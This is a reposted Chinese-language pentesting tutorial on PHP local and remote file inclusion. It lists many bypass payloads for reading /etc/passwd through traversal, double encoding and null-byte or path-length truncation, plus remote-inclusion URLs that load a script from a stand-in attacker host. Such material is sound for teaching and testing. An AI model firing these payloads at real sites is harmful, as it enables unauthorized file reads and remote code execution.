ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

4.6 File Inclusion

2021-04-14 23:05:44  阅读:235  来源: 互联网

标签:index 4.6 http .. Inclusion File php com page


简介

是什么

文件包含,一个简单的例子,和 c 语言 include 一样,将一个文件包含到另一个文件。通常出现在多文件开发,模块化开发的场景下。

文件包含,就是代码中通过某种方法包含了其它文件,可以将另一个文件的内容引入到当前文件。从而可以执行代码。

# 本地文件包含
http://example.com/index.php?page=/etc/passwd

# 远程文件包含
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

根据包含文件的位置,文件包含分为 LFI / RFI 本地文件包含/远程文件包含。

实际中的限制

虽然能包含文件,通常只能包含某个固定范围的文件。

即使能随便包含,通常也找不到存在恶意代码的文件。

远程包含一般是默认禁用,或者代码不支持。

攻击
  1. 探测参数入口点。一般而言,参数名、值都比较明显,page= 或 file= 等等。这块可以根据经验进行判断。

  2. 绕过代码过滤。常见的绕过方式,见下文。

    以下字典包含了常见的绕过 payload : windows linux

  3. 利用。最终执行代码。

代码防御绕过

绕过原理

某些是利用系统、编程语言、中间件的特性。例如在某些场景下:

 /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.

常见的绕过方式分为以下几种:

  • 代码过滤不严谨:

    # 非递归过滤
    http://example.com/index.php?page=....//....//....//etc/passwd
    http://example.com/index.php?page=....\/....\/....\/etc/passwd
    http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
    
    # 若代码是检测前缀
    http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
    
    # 若是黑名单过滤后缀
    shellcode.php/.
    passwd/
    
    # 后缀白名单,利用截断
    http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
    
    # 路径长度截断
    http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
    
  • 编码、特殊字符:

    # 若代码在尾部添加文件后缀,可以尝试 00 截断
    http://example.com/index.php?page=../../../etc/passwd%00
    
    
    # 或许可以尝试二次 url 编码
    http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
    http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
    http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
    http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
    
    
    http://example.com/index.php?page=....//....//etc/passwd
    http://example.com/index.php?page=..///////..////..//////etc/passwd
    http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
    
  • 若是远程包含,并且代码中固定了文件后缀,此时可以尝试将其化为 url 参数。

    include($_GET['file'].'.png');
    # 那么可以这样传参
    ?file=shell.php?x=1
    ?file=shell.php#x=1
    

利用

php url-wrappers

php 提供的协议封装流,可以将很多东西视为文件。可以扩大文件包含的利用面。关于 php 支持的 wapper 详情见 官方手册

php 中有以下包含函数 require, require_once, include, include_once

php 中与之相关的参数有 allow_url_fopen allow_url_include 分别决定能否使用协议封装流,能否在包含函数处使用。

标签:index,4.6,http,..,Inclusion,File,php,com,page
来源: https://www.cnblogs.com/starrys/p/14660346.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有